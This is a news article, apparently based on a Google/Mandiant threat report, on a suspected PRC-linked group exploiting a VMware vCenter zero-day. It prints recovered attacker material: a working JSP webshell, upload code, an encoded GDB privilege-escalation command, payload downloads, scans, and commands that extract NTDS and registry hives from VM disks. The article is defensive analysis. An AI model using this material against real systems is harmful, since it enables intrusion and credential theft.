---
url: "https://www.xcademia.com/news/google-details-armory-castle-s-vmware-vcenter-zero-day-attack"
title: "Google Details ARMORY CASTLE's VMware vCenter Zero-Day Attack"
description: "Google details how ARMORY CASTLE exploited a VMware vCenter zero-day using BONESAW, SAML attacks and specialised malware."
publishedAt: "2026-11-20T10:10:54.862+00:00"
updatedAt: "2026-11-26T08:16:46.680828+00:00"
type: news
category: cybersecurity
source_name: Google Cloud Blog
source_url: "https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-vsphere"
tags:
  - "#VMwareSecurity"
  - "#Cybersecurity"
  - "#ZeroDayVulnerability"
  - "#ThreatIntelligence"
  - "#VirtualisationSecurity"
  - "#Malware"
  - "#EnterpriseSecurity"
  - "#GoogleThreatIntelligence"
---

# Google Details ARMORY CASTLE's VMware vCenter Zero-Day Attack

> Google and Mandiant reveal how ARMORY CASTLE exploited a VMware vCenter zero-day using BONESAW, SAML authentication attacks and specialised malware to access sensitive virtualisation infrastructure.

Source: **Google Cloud Blog** · 20 November 2026

**G**oogle Threat Intelligence Group (GTIG) and Mandiant have published new findings detailing how the suspected China-linked espionage group ARMORY CASTLE exploited a zero-day vulnerability in VMware vCenter Server to compromise enterprise virtualisation infrastructure.

The investigation describes how the threat actor used a specialised Go-based exploitation utility called **BONESAW** to exploit CVE-2026-123890, an unauthenticated Secure Remote Password (SRP-6a) session key disclosure vulnerability affecting VMware vCenter Server.

The operation involved multiple malware families and utilities designed for remote command execution, file staging, authentication bypass, credential theft, persistence and data collection.

According to the forensic evidence presented by Google and Mandiant, ARMORY CASTLE exploited the vulnerability in early September 2026, before VMware publicly disclosed it on November 19, 2026.

The activity forms part of a broader intrusion campaign that began with the exploitation of a zero-day vulnerability in BeyondTrust Remote Support. Following the initial compromise, the group moved through internal Linux appliances before targeting VMware vCenter and ESXi infrastructure.

Google attributes the activity to ARMORY CASTLE, a suspected People's Republic of China (PRC)-nexus espionage actor previously tracked as UNC5221.

The findings provide further insight into how the group combines vulnerabilities in enterprise appliances with specialised tools to expand access and target critical infrastructure.

## 
Background: From BeyondTrust Exploitation to VMware

On October 15, 2026, Mandiant and Google Threat Intelligence Group published an earlier investigation into ARMORY CASTLE activity involving **CVE-2026-102764**, a zero-day vulnerability in BeyondTrust Remote Support.

BeyondTrust addressed the vulnerability through security advisory BT26-05.

The earlier investigation documented the actor's exploitation of the Remote Support appliance and its subsequent post-compromise operations.

The latest report expands on those findings by explaining how ARMORY CASTLE used its initial access to reach internal Linux appliances, compromise VMware vCenter and deploy additional specialised tools.

The investigation identifies a second zero-day vulnerability:

**CVE-2026-123890: VMware vCenter Server SRP-6a session key disclosure vulnerability**

VMware disclosed CVE-2026-123890 on November 19, 2026. The vulnerability affects VMware vCenter Server deployments.

VMware vSphere consists of two important components:

- **ESXi:** The hypervisor that runs virtual machines.
- **vCenter Server:** The centralised management platform used to configure, control and monitor ESXi host environments.

The vCenter Server runs as a Photon Linux virtual appliance and provides access to sensitive infrastructure management functions.

CVE-2026-123890 is an unauthenticated SRP-6a session key disclosure vulnerability exposed through the Distributed Computing Environment/Remote Procedure Calls (DCE/RPC) interface.

Successful exploitation enables remote authentication bypass, creating an authenticated session as:

```
administrator@vsphere.local
```

Using this authenticated administrator session, an attacker can execute arbitrary commands and acquire files through the vCenter Server Directory Service, known as `vmdird`.

The exploitation also provides access to the `vmdirdbcp` RPC interface, which can be used to retrieve the underlying `data.mdb` database.

This database contains authentication-related material that can support further compromise of the vCenter environment.

Google recommends that organisations running affected deployments apply the official Broadcom security patches immediately.

**Broadcom security advisory:**

[https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39495](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39495)

## 
Attack Progression: How ARMORY CASTLE Reached VMware Infrastructure

ARMORY CASTLE did not move directly from the initial Remote Support compromise to VMware exploitation.

Instead, the actor established access to internal Linux appliances, conducted reconnaissance, escalated privileges, deployed additional malware and prepared the environment for lateral movement.

Mandiant's investigation identified five newly observed malware families and utilities:

Malware or utility

Primary function

SLIMSAVAGE

JSP webshell for remote command execution

CAGEMATCH

JSP webshell for file uploads and payload staging

BONESAW

Go-based vCenter remote exploitation utility

SAWSNAKE

Go utility for SAML authentication bypass and session cookie generation

BEARBONES

Modified Dropbear-based SSH backdoor

The actor also deployed **LAZYBONES**, a Slack-based backdoor previously observed in a separate ARMORY CASTLE intrusion.

Each component supported a different part of the operation, from maintaining access to manipulating authentication and collecting information from VMware infrastructure.

![info-1](https://0a515t3ure77wbvx.public.blob.vercel-storage.com/articles/1795169101567-info-1--281-.webp)

## Internal Reconnaissance and Lateral Movement

After establishing persistence and deploying lateral movement capabilities on the Remote Support appliance, ARMORY CASTLE began investigating the internal network.

The reconnaissance activity showed a particular interest in VMware infrastructure.

Mandiant identified this focus through the network ports scanned by the attacker and the web interfaces accessed during the operation.

The actor visited VMware-related URIs, including:

```
/sdk
/ui
```

The group also used Nmap to identify systems exposing VMware-related services.

The following commands were recovered during the investigation:

```
/usr/sbin/nmap -sS -p 443,2012,389 --open .0/24

/usr/sbin/nmap -sS -p 443,2012,5480 --open .0/24

/usr/sbin/nmap -sS -p 443,9080 --open .0/24

/usr/sbin/nmap -sS -p 9080,2012 --open .0/24

/usr/sbin/nmap -sS -p 443,2012,389,445,3389,22,21 --open .0/24
```

The scanned ports included:

- **TCP 2012:** Used by the vCenter Single Sign-On (SSO) control interface RPC.
- **TCP 5480:** Used by the Virtual Appliance Management Interface (VAMI).
- **TCP 9080:** Included in the actor's VMware-focused reconnaissance.
- **TCP 443:** Used for VMware management and web access.
- **TCP 389:** Included in the directory service reconnaissance.

Port 2012 was particularly significant because it was directly involved in ARMORY CASTLE's exploitation of CVE-2026-123890 through BONESAW.

The group subsequently moved to internal Linux appliances that lacked endpoint detection and response (EDR) tooling.

These systems provided additional environments for staging malware and preparing the VMware attack.

## 
SLIMSAVAGE: A Webshell for Remote Command Execution

ARMORY CASTLE established a foothold on an internal Linux appliance by deploying a JSP webshell named:

```
ActiveSer.jsp
```

Mandiant tracks this component as **SLIMSAVAGE**.

The webshell functions as a command execution tool. It checks for an authentication parameter containing the hardcoded value `123` before executing commands supplied through another request parameter.

The following code was recovered during the investigation:

```
if("123".equals(request.getParameter("pwd"))){
  try{
    ProcessBuilder pb = new ProcessBuilder("/bin/sh","-c",request.getParameter("i"));
    Process p = pb.start();
    InputStream a = p.getInputStream(), b = p.getErrorStream();
    int c; byte[] d = new byte[2048];
    out.print("

```
");
    while((c=a.read(d))!=-1){out.print(new String(d,0,c));}
    while((c=b.read(d))!=-1){out.print(new String(d,0,c));}
    out.print("
```

");
    out.print("\nEXIT:"+p.waitFor());
  }catch(Exception e){out.print("ERR:"+e);}
}
```

The implementation uses Java's `ProcessBuilder` to start `/bin/sh` and pass the supplied command to the shell.

This allows the attacker to execute commands through a command-line interpreter, including operations involving shell pipelines, redirection, environment variables and chained execution.

SLIMSAVAGE also collects output from both standard output and standard error.

The relevant methods are:

- `getInputStream()` for standard output.
- `getErrorStream()` for error output.
- `waitFor()` to wait for the command to finish and retrieve its exit status.

The webshell returns the command output within an HTML `pre` element and appends the process exit status using:

```
EXIT:`
```

This provides the operator with visibility into command execution results and errors.

## 
CAGEMATCH: File Staging Through a Second Webshell

Approximately four hours after deploying SLIMSAVAGE, ARMORY CASTLE installed another JSP webshell named:

```
u.jsp
```

Mandiant tracks this component as CAGEMATCH.
While SLIMSAVAGE provided command execution, the actor needed a convenient way to transfer files and additional tools onto the compromised Linux appliance.
CAGEMATCH addressed this requirement by functioning as a dedicated payload staging mechanism.It processes HTTP requests containing the multipart/form-data` content type, extracts the uploaded filename and raw file data, and writes the payload to the appliance's temporary directory.

The relevant file-writing logic is:

```
File f = new File("/tmp");
f.mkdirs();
File fout = new File(f, fname);

try(FileOutputStream fos = new FileOutputStream(fout)){
    fos.write(fd);
}

m = fout.getAbsolutePath();
```

The webshell creates `/tmp` if the directory does not already exist.

It then writes the uploaded content to:

```
/tmp/
```

After saving the file, CAGEMATCH returns its absolute filesystem path.

When accessed without an upload payload, the webshell displays a minimal HTML upload form.

Together, SLIMSAVAGE and CAGEMATCH provided a complementary post-compromise workflow. The actor could upload scripts, executable files and other tools through CAGEMATCH, then use SLIMSAVAGE to adjust file permissions and execute the staged components.

## 
Privilege Escalation to Root on Linux

After compromising the internal Linux appliance, ARMORY CASTLE escalated privileges to root.

The group repeated the same privilege escalation technique previously observed on the BeyondTrust Remote Support appliance.

The method involved enabling Set User ID (SUID) permissions on:

```
/bin/env
```

The actor used the GNU Debugger (GDB) to modify the binary's permissions.

The observed commands were:

```
/bin/sh -c echo IWNobW9kIHUrcyAvYmluL2VudgpxCg==|base64 -d > /tmp/gdb_file

/usr/bin/gdb -pid 113757 --command=/tmp/gdb_file
```

The Base64-encoded content decodes to a command that enables the SUID permission on `/bin/env`.

With the SUID bit enabled, execution of the binary can provide root-level command execution.

This allowed ARMORY CASTLE to operate with elevated privileges on the compromised Linux system and prepare additional tools for lateral movement.

## 
BONESAW: Exploiting VMware vCenter Through CVE-2026-123890

After obtaining root access, ARMORY CASTLE began preparing additional tooling to compromise VMware infrastructure.

The actor used `curl` to retrieve a RAR utility from the Remote Support appliance.

The observed command was:

```
curl -o /tmp/rar -k https:///content/r.js
```

The group then downloaded an archive named `123.rar`:

```
curl -o /tmp/123.rar -k https:///content/r.js

./rar x -p 123.rar
```

The extracted tool was identified as BONESAW and stored at:

```
/tmp/123
```

BONESAW is a remote exploitation utility written in Go. It was designed to exploit CVE-2026-123890 and target VMware vCenter Server 7.x and 8.x appliances.

Its capabilities include:

- Exploiting the vCenter SRP authentication mechanism.
- Remotely retrieving the underlying Lightning Memory-Mapped Database (LMDB).
- Extracting VMware Security Token Service (STS) SAML private RSA signing material.
- Creating SSO administrator accounts.
- Generating forged administrative SAML assertions.
- Assigning Global Administrator privileges through the vSphere SOAP API.

Mandiant observed ARMORY CASTLE using BONESAW against an internal vCenter server, successfully creating an SSO administrator account and extracting and parsing the LMDB database.

### 
How BONESAW Abuses vCenter Authentication

CVE-2026-123890 affects VMware's `rpc_srp_verifier` service, exposed through the vCenter RPC interface on TCP port 2012.

The vulnerability involves a cryptographic logic and authorisation weakness that exposes a shared SRP session key.

BONESAW uses the vulnerability to establish an authenticated session as:

```
administrator@vsphere.local
```

The tool can then interact with the vCenter Directory Service and retrieve the underlying database.

One important capability is its ability to stream the raw LMDB file for offline analysis.

The database contains authentication-related material that can support further compromise of the vCenter environment.

BONESAW can also extract the VMware STS SAML private RSA signing key, create a backdoor machine account through `vmdir`, forge administrative SAML 2.0 assertion tokens and assign Global Administrator privileges on the vCenter root folder through the vSphere SOAP API.

### 
CVE-2026-123890 Compared with CVE-2026-59309

Google's investigation also distinguishes CVE-2026-123890 from another VMware vCenter vulnerability, CVE-2026-59309.

Although both vulnerabilities involve obtaining the shared SRP session key without knowing the account password, they affect different interfaces and use different exploitation mechanisms.

Vulnerability

Affected interface

Exploitation mechanism

CVE-2026-59309

vCenter `vmdir` LDAP interface

Crafted LDAP packets containing malformed authorisation tokens

CVE-2026-123890

vCenter `vmdir` DCE/RPC interface

SRP session key disclosure involving predictable UUIDv1 timestamp generation

CVE-2026-59309 affects the vCenter Server `vmdir` daemon. An unauthenticated remote attacker with network access to TCP ports 389 or 636 can send specially crafted LDAP packets containing malformed authorisation tokens.

This can allow authentication bypass, administrative session forgery and the creation of unauthorised SSO accounts within the vSphere directory.

CVE-2026-123890 affects the `vmdir` DCE/RPC interface. It enables unauthenticated SRP session key disclosure through predictable UUIDv1 timestamp generation in the SRP authentication interface.

The distinction matters because the two vulnerabilities involve different interfaces and exploitation paths. Addressing one does not establish that the other has been remediated.

### 
BONESAW Build Timestamp and Development Evidence

Logs indicate that BONESAW was executed against a vCenter server in early September 2026, even though that server had already been patched against CVE-2026-59309.

The recovered Go binary contained the following build timestamp:

```
2026-07-13T09:21:24Z
```

This timestamp predates the July 29 disclosure of CVE-2026-59309 by 16 days.

However, Mandiant notes that Go build metadata can be modified before compilation. The timestamp should therefore not be treated as definitive proof of the binary's original development date.

Investigators also found that ARMORY CASTLE named the tool:

```
vcenter-db-teamcheck-go
```

The recovered Go build artefacts indicated that it was compiled in a Windows development environment using the following source directory:

```
E:/CodeFiles/VulnScan/Vcenter/go_teamcheck/
```

These findings provide additional insight into the development and deployment of the exploitation utility. However, the build timestamp alone cannot establish its original development date or independently prove when the actor obtained knowledge of the vulnerability.

### 
BONESAW Command-Line Functionality

BONESAW supports multiple command-line arguments, with its primary functionality centred on the `csa` subcommand.

The subcommand is described in the tool as:

```
Subcommand csa ("Create SSO admin with minimal parameters")
```

Its options include:

```
-h
    Target vCenter address or vim25 SOAP endpoint.
    Required.

-u
    Username for the new SSO administrator account.
    Required.

-p
    Password for the new SSO administrator account.
    Required.

-lu
    Existing vCenter local administrator UPN used for vmdird
    bridge authentication.
    Default: administrator@vsphere[.]local

-d
    Tenant or domain name for the created SSO account.
    Default: vsphere[.]local

-mdb-path
    Path to an existing data.mdb file to skip remote database download.

-check-version
    Probe the target version and connectivity before executing
    the exploitation chain.

-auto-d
    Automatically discover the SSO tenant or domain before execution.
    Overrides -d if discovery succeeds.
```

### 
BONESAW Filesystem Artefacts

When executed using the `csa` subcommand, BONESAW creates several files containing extracted database information, signing keys, certificates and SSO metadata.

The observed output structure includes:

```
/temp/extracted_tenant_signer_/
    anon__data.mdb

/temp/extracted_tenant_signer_/
    -tenantcredential-.key.pem

/temp/extracted_tenant_signer_/
    -tenantcredential-.key.der

/temp/extracted_tenant_signer_/
    -tenantcredential-.leaf.pem

/temp/extracted_tenant_signer_/
    -tenantcredential-.chain.pem

/temp/extracted_tenant_signer_/
    -tenantcredential-.context.json
```

These files represent:

- An extracted copy of `/storage/db/vmware-vmdir/data.mdb`.
- The extracted RSA private key in PEM format.
- The same private key in DER format.
- The extracted leaf X.509 signing certificate.
- The associated X.509 certificate chain.
- Metadata describing the target SSO environment and signer.

The extracted information provided ARMORY CASTLE with the authentication material needed to continue its attacks against vCenter.

## 
SAWSNAKE: SAML Authentication Bypass and Administrator Session Generation

Shortly after BONESAW successfully compromised vCenter, ARMORY CASTLE deployed another Go-based utility.

Stored at:

```
/tmp/sss
```

Mandiant tracks this tool as **SAWSNAKE**.

SAWSNAKE provides SAML authentication bypass and session cookie generation capabilities. It was intended to support Golden SAML attacks against vCenter after extracting authentication material through BONESAW.

The utility enables the actor to forge authentication tokens, bypass MFA and impersonate users.

SAWSNAKE is a custom Go implementation based on the functionality of the Python-based vCenter SAML Login Tool published by Horizon3.ai:

[https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py](https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py)

Its capabilities include:

- Extracting Identity Provider (IdP) signing keys and trusted certificates from a vCenter `data.mdb` database.
- Exporting extracted authentication material into PEM files.
- Creating and signing SAML 2.0 assertions for the Administrator account.
- Authenticating against a target vCenter server.
- Obtaining administrative session cookies.

### 
SAWSNAKE Command-Line Arguments

The recovered utility supports the following options:

```
-h, --help
    Display help information.

-p, --path PATH
    Path to the data.mdb file for extraction mode.

-t, --target TARGET
    IP address of the target vCenter server.

-k, --key KEY
    IdP private key PEM file for direct-cert mode.

-c, --cert CERTS
    Trusted certificate PEM file.
    This argument can be repeated, and each file may contain
    one or more CERTIFICATE blocks.

--domain DOMAIN
    SSO domain.
    Defaults to the domain parsed from the certificate subject DC= field.

--hostname HOSTNAME
    vCenter fully qualified domain name.
    Defaults to the value obtained from the vCenter SSL certificate.

-e, --export-dir EXPORT_DIR
    Parse data.mdb using --path and write the PEM files needed
    for direct-cert mode into the specified directory, then exit.

-v, --verbose
    Display extracted or loaded certificates.
```

### 
SAWSNAKE Output Files

During its extraction process, SAWSNAKE creates the following files:

```
/idp_key.pem

/trusted_cert_2.pem

/domain.txt
```

These files contain authentication material and domain information needed for the utility's direct-certificate operating mode.

Mandiant also recovered a second SAWSNAKE sample that appeared to be an updated version.

The newer sample introduced more detailed debugging output across TLS, HTTP, SAML initiation, XML signing and login procedures.

It also expanded HTTP redirect handling to support up to 10 HTTP 302 redirects, allowing the tool to handle multi-stage authentication flows.

Consistent with the group's other post-exploitation activity, ARMORY CASTLE subsequently removed SAWSNAKE and its generated files using the Linux `rm` command.

## 
BEARBONES: A Modified Dropbear SSH Backdoor

Following the deployment of SAWSNAKE, ARMORY CASTLE installed another backdoor:

```
/tmp/dbr
```

Mandiant tracks this malware as **BEARBONES**.

Written in C, BEARBONES is based on the open-source Dropbear SSH Server. However, the threat actor modified its authentication behaviour to provide unauthorised access and capture credentials.

The backdoor includes several capabilities:

- Bypassing normal system password authentication during password-based SSH authentication.
- Recording plaintext credentials.
- Loading or generating SSH host keys from `/tmp` rather than the standard `/etc/dropbear` directory.
- Operating with modified SSH identification strings.

### 
How BEARBONES Manipulates Authentication

The malware modifies the Dropbear authentication handler:

```
svr_auth_password
```

This function processes password-based authentication requests associated with:

```
SSH_MSG_USERAUTH_REQUEST
```

Rather than relying on the normal `/etc/shadow` password validation process, the modified handler compares the SHA-256 digest of the first 14 bytes of the supplied client password against a hardcoded SHA-256 hash.

When the comparison succeeds, the backdoor grants access.

The malware also records the supplied plaintext credentials.

Another important modification involves its SSH identification strings.

Mandiant identified the following values:

```
23345
```

And:

```
SSH-2.0-pulsesecure_23345
```

Investigators used this unusual SSH banner to identify a suspected obfuscation network of compromised third-party firewalls and routers exposing the same SSH identification string on non-standard high TCP ports.

### 
BEARBONES Execution

ARMORY CASTLE executed BEARBONES several times, initially attempting to create a listener on TCP port 53 and later using TCP port 33992.

The observed commands were:

```
/tmp/dbr -R -p 53

/tmp/dbr -R -p 33992
```

After starting the listener on TCP port 33992, the actor moved laterally to the vCenter appliance as an administrator.

The group created a local administrator account named:

```
sps-@vsphere.local
```

ARMORY CASTLE then enabled SSH through the Virtual Appliance Management Interface (VAMI) API using a PUT request to:

```
/rest/appliance/access/ssh
```

Mandiant noted that this technique had also appeared in BRICKSTORM intrusions associated with the suspected PRC-nexus actor UNC6201.

After enabling SSH, ARMORY CASTLE connected to vCenter using the newly created local administrator account.

## 
Credential Theft From vCenter and ESXi

Once SSH access had been established, ARMORY CASTLE began extracting sensitive authentication material from the vCenter appliance.

The actor targeted:

- The internal vCenter master cryptographic key file.
- The PostgreSQL password file.

Immediately after extracting the master symmetric key and PostgreSQL database credentials, ARMORY CASTLE disabled the SSH service through the VAMI API.

The group then moved to ESXi infrastructure.

Mandiant observed the actor authenticating to the ESXi Host Client, also known as ESXUI, using the `vpxuser` account.

The actor also established an SSH connection using the ESXi root account.

This provided access to the underlying hypervisor filesystem and virtual machine storage.

## 
ESXi Compromise and Virtual Machine Data Extraction

ARMORY CASTLE used the WinSCP client to enumerate the ESXi filesystem, attached disks and mounted Virtual Machine File System (VMFS) volumes.

The group also added an SSH public key to the root account's `authorized_keys` file, enabling continued SSH access.

Mandiant observed further reconnaissance and data collection using the root account.

To prepare files for extraction, ARMORY CASTLE created a hidden directory named:

```
.a
```

The directory was placed on a VMFS volume.

The group established an SCP connection to the ESXi host using:

```
scp -r -d -t "/vmfs/volumes//.a"
```

The actor also extracted a suspected VMware-specific toolset onto the ESXi host using:

```
tar xzf vmfs-pydist.tar.gz
```

### 
Using vmfs_browser.py to Examine Virtual Machine Data

Mandiant recovered commands showing the use of a Python utility named:

```
vmfs_browser.py
```

The tool was used to inspect VMFS disk structures and extract files from virtual machine disk images.

The observed commands included:

**Listing the contents of a disk:**

```
python vmfs_browser.py -d "/dev/disks/vml.:1" ls .
```

**Inspecting a virtual disk image:**

```
python vmfs_browser.py -d "/dev/disks/vml.:1" info "-flat.vmdk"
```

**Listing a specific partition:**

```
python vmfs_browser.py -d "/dev/disks/vml.:1" ls "-flat.vmdk:part2"
```

The actor also extracted sensitive files from guest virtual machines.

These included:

**Active Directory database:**

```
python vmfs_browser.py -d "/dev/disks/vml.:1" extract "-flat.vmdk:part4/Windows/NTDS" ./NTDS
```

**Windows SYSTEM registry hive:**

```
python vmfs_browser.py -d "/dev/disks/vml.:1" extract "-flat.vmdk:part4/Windows/System32/config/SYSTEM" ./SYSTEM
```

**Windows SECURITY registry hive:**

```
python vmfs_browser.py -d "/dev/disks/vml.:1" extract "-flat.vmdk:part4/Windows/System32/config/SECURITY" ./
```

**Windows DNS directory:**

```
python vmfs_browser.py -d "/dev/disks/vml.:1" extract "-flat.vmdk:part4/Windows/System32/dns" ./
```

The extracted material included the NTDS database and Windows registry hives, which are sensitive components of an organisation's identity and virtual machine infrastructure.

### 
Data Archiving and Suspected Exfiltration

After extracting the files, ARMORY CASTLE collected them into an archive named:

```
o.tar.gz
```

The group transferred the archive from the ESXi filesystem using:

```
scp -r -p -d -f "o.tar.gz"
```

The hidden `.a` directory was subsequently deleted.

On the Linux appliance, the actor staged an OpenSSH RSA private key at:

```
/tmp/123.key
```

This key corresponded to the public key that had been added to the ESXi root account's `authorized_keys` file.

It enabled passwordless outbound SSH authentication from the Linux appliance to ESXi.

The investigation also recovered an SSH command associated with this activity. The published command is truncated:

```
/usr/bin/ssh -x -oPermitLocalCommand=no -oClearAllForwardings=yes -oRemoteCommand=none -oRequestTTY=no -i /tmp/123.key -o BatchM [TRUNCATED@128]
```

The available source does not provide the complete command, so it should not be treated as a complete executable example.

The actor subsequently retrieved staged archives through HTTP GET requests to the Remote Support appliance.

Based on the observed activity, Mandiant assessed that ARMORY CASTLE likely exfiltrated the collected data through this infrastructure.

The investigation therefore distinguishes confirmed file extraction and staging from the assessment that the data was likely exfiltrated.

![info-2](https://0a515t3ure77wbvx.public.blob.vercel-storage.com/articles/1795169067460-info-2--263-.webp)

## LAZYBONES: A Previously Observed Slack-Based Backdoor

In addition to the VMware-specific malware, ARMORY CASTLE deployed another backdoor on an additional Linux appliance.

Mandiant tracks this component as **LAZYBONES**.

The malware was located at:

```
/usr/bin/vmtoolscs
```

LAZYBONES is written in Go and uses Slack over HTTPS for command-and-control (C2) communications.

The malware periodically checks the latest message in a designated Slack channel to determine whether the operator has issued a new command.

The observed variant supports four commands:

Command

Function

`cmd`

Execute system commands

`upload`

Transfer files

`download`

Retrieve files

`sleep`

Adjust the beacon interval

The malware encrypts its Slack C2 messages using AES-256-CTR before encoding them with Base64.

It also uses a polling interval with random jitter between 150 and 450 seconds.

To maintain persistence, ARMORY CASTLE installed a systemd service configured to restart every 50 minutes.

Mandiant had previously identified LAZYBONES in a separate ARMORY CASTLE campaign in early 2025, following the exploitation of CVE-2025-22457.

Its presence provides another connection between the latest intrusion and the group's previously documented operations.

## 
Attribution: Suspected PRC-Nexus Espionage Activity

Google Threat Intelligence Group attributes the investigated activity to ARMORY CASTLE, a suspected PRC-nexus espionage actor previously tracked as UNC5221.

The attribution is based on the group's previously observed tools, techniques and procedures.

The investigation connects the latest activity to earlier ARMORY CASTLE operations through its exploitation of BeyondTrust Remote Support and the use of previously observed malware such as LAZYBONES.

The latest operation also demonstrates the actor's ability to operate across several infrastructure environments, including:

- BeyondTrust Remote Support appliances.
- Internal Linux systems.
- VMware vCenter.
- ESXi hypervisors.
- Guest virtual machines.

The use of specialised tools for individual platforms highlights the actor's familiarity with the environments it targets.

## 
Why the ARMORY CASTLE Campaign Matters

Google's investigation highlights a significant development in ARMORY CASTLE's operational approach.

GTIG and Mandiant have tracked the group exploiting zero-day and n-day vulnerabilities in edge and security appliances for initial access since 2023.

The BONESAW discovery demonstrates an expansion into the post-compromise use of zero-day vulnerabilities.

The campaign combined two zero-day vulnerabilities with specialised tools designed for different stages of the intrusion.

SLIMSAVAGE and CAGEMATCH supported access and payload staging on Linux appliances. BONESAW targeted the vCenter authentication mechanism and extracted database and signing-key material. SAWSNAKE enabled SAML token forgery and administrative session generation, while BEARBONES provided modified SSH authentication and credential collection.

The previously observed LAZYBONES backdoor added another method of maintaining command-and-control communications.

The investigation also demonstrates how compromising a centralised virtualisation management system can provide access to the underlying hypervisor infrastructure and the virtual machines it manages.

For organisations, this reinforces the importance of protecting vCenter and ESXi as high-value infrastructure assets rather than treating them as ordinary management applications.

The findings also highlight the operational commitment involved in attacks that combine vulnerability exploitation, specialised malware, credential theft and movement across multiple enterprise systems.

## 
Remediation and VMware Security Recommendations

The ARMORY CASTLE investigation highlights the importance of securing VMware vCenter and ESXi as critical infrastructure components.

Because vCenter serves as the centralised management platform for virtualised environments, a compromise can affect more than the management application itself.

Google and Mandiant recommend applying the official Broadcom security patch for CVE-2026-123890.

However, patching is only one part of a broader infrastructure security strategy.

### 
Apply the Official Broadcom Security Patch

Organisations running affected VMware vCenter deployments should review the Broadcom security advisory and install the relevant security updates.

Patching should be prioritised alongside an investigation of systems that may have been exposed before the update was installed.

**Security advisory:**

[https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39495](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39495)

### 
Review the vSphere and BRICKSTORM Defender's Guide

Mandiant recommends its guide, **vSphere and BRICKSTORM Malware: A Defender's Guide**, as a resource for securing virtualisation infrastructure against advanced persistent threats.

The guide discusses an infrastructure-focused security strategy that includes:

- Security Technical Implementation Guide (STIG) benchmarking.
- Strong identity management.
- Privileged Access Workstations (PAWs).
- Improved security monitoring of the vCenter appliance.

**Defender's guide:**

[https://cloud.google.com/blog/topics/threat-intelligence/vsphere-brickstorm-defender-guide/](https://cloud.google.com/blog/topics/threat-intelligence/vsphere-brickstorm-defender-guide/)

### 
Understand the Limitations of the VCSA Host-Based Firewall

The Virtual Center Server Appliance (VCSA) includes a host-based firewall managed through the Virtual Appliance Management Interface.

However, Mandiant identifies several limitations that can affect its effectiveness against advanced lateral movement.

**1. Limited port-level access control**

The native VAMI graphical interface does not provide the port-specific granularity required for a strict Zero Trust security model.

For example, an organisation may need to allow an internal backup server to communicate with the vSphere API over TCP 443.

However, the default firewall configuration can require administrators to trust the source IP across multiple ports.

If that internal server becomes compromised, an attacker may gain an easier path to sensitive management services, including SSH on TCP 22 and VAMI on TCP 5480.

**2. Administrative dependency on VAMI**

The firewall is managed through VAMI, which is accessible over TCP 5480.

If an attacker compromises VAMI with sufficient privileges, they may be able to disable the firewall.

ARMORY CASTLE demonstrated the ability to use VAMI access to enable SSH on the vCenter appliance.

**3. Limited forensic visibility**

The VAMI firewall primarily handles connectivity management.

It does not provide the remote logging of denied connection attempts and shell activity needed for comprehensive security monitoring.

This can create visibility gaps for security operations teams investigating internal reconnaissance and lateral movement.

**4. Limited outbound traffic enforcement**

The default graphical firewall focuses on inbound traffic.

It does not provide the outbound filtering needed to prevent compromised systems from communicating with external command-and-control infrastructure.

Consequently, malware running on a compromised vCenter appliance may retain the ability to establish outbound connections.

### 
Use the VCSA Hardening and Logging Tool

Mandiant recommends its open-source VCSA Hardening and Logging Tool:

[https://github.com/mandiant/vcsa-hardening-tool](https://github.com/mandiant/vcsa-hardening-tool)

The tool is designed to enforce security configurations directly through the Photon Linux kernel using `iptables`.

Its approach includes:

- Default-deny firewall policies.
- Granular inbound traffic restrictions.
- Outbound traffic filtering.
- Remote security event forwarding.
- Kernel-level firewall enforcement.
- Operating system command and syslog auditing.

By forwarding relevant events to a remote SIEM, the approach reduces dependence on locally stored logs that an attacker may attempt to delete or manipulate.

### 
How Hardening Controls Could Disrupt the Attack Chain

Mandiant's analysis explains how its recommended hardening controls could have interrupted different stages of ARMORY CASTLE's operation.

VCSA hardening feature

Potential impact on the observed campaign

Inbound DROP policies and connection logging for management ports

Restricts unauthorised reconnaissance against management interfaces and forwards relevant events to the SIEM.

Inbound DROP policy for TCP 443

Restricts access to the vSphere Web Client and API from untrusted systems, limiting the use of stolen credentials or forged administrative cookies.

Inbound DROP policy for TCP 2012

Restricts unauthorised access to the `vmdird` RPC service involved in the exploitation chain.

Inbound DROP policies for TCP 22 and 5480

Restricts SSH access and VAMI-based attempts to enable SSH on the appliance.

Egress DROP policy

Restricts unauthorised outbound connections, including data transfers and external Slack C2 communications.

OS-level command and syslog auditing

Provides remote visibility into commands such as `tar` and Python `vmfs_browser.py`, including activity involving sensitive VM files.

Kernel-level rule enforcement

Keeps network security controls independent of the VAMI application, making them less dependent on application-level administration.

**Technical clarification:** The original Google hardening table contains an inconsistency in one row. Its feature label refers to TCP 2010, while the accompanying explanation identifies TCP 2012 as the port to restrict. The attack investigation identifies TCP 2012 as the relevant vCenter RPC port. Administrators should verify the intended port against the actual tool configuration before applying firewall rules.

An important implementation consideration is that iptables-based firewall rules must be tested thoroughly before deployment. Mandiant recommends rigorous testing and formal change-control procedures before introducing these controls into production environments.

![info-3](https://0a515t3ure77wbvx.public.blob.vercel-storage.com/articles/1795169035888-info-3--239-.webp)

## Indicators of Compromise

Google Threat Intelligence Group has published a collection of indicators of compromise (IOCs) to help defenders identify activity associated with this campaign.

The collection is available to registered users through VirusTotal.

**GTI Collection:**

[https://www.virustotal.com/gui/collection/1ea34ca05aa0bed8cce4f29cba20b8ecfd46c9401a3d6eae74769f2e4415b9d6/summary](https://www.virustotal.com/gui/collection/1ea34ca05aa0bed8cce4f29cba20b8ecfd46c9401a3d6eae74769f2e4415b9d6/summary)

### 
Network Indicators

The investigation identifies the following IP addresses as suspected obfuscation network indicators.

IP address

Description

`103.147.251.5`

Suspected obfuscation network IP

`103.190.38.3`

Suspected obfuscation network IP

`118.174.128.34`

Suspected obfuscation network IP

`118.174.128.36`

Suspected obfuscation network IP

`118.174.128.38`

Suspected obfuscation network IP

`176.9.89.66`

Suspected obfuscation network IP

`185.71.15.109`

Suspected obfuscation network IP

`220.121.128.41`

Suspected obfuscation network IP

`222.108.77.44`

Suspected obfuscation network IP

`61.216.56.127`

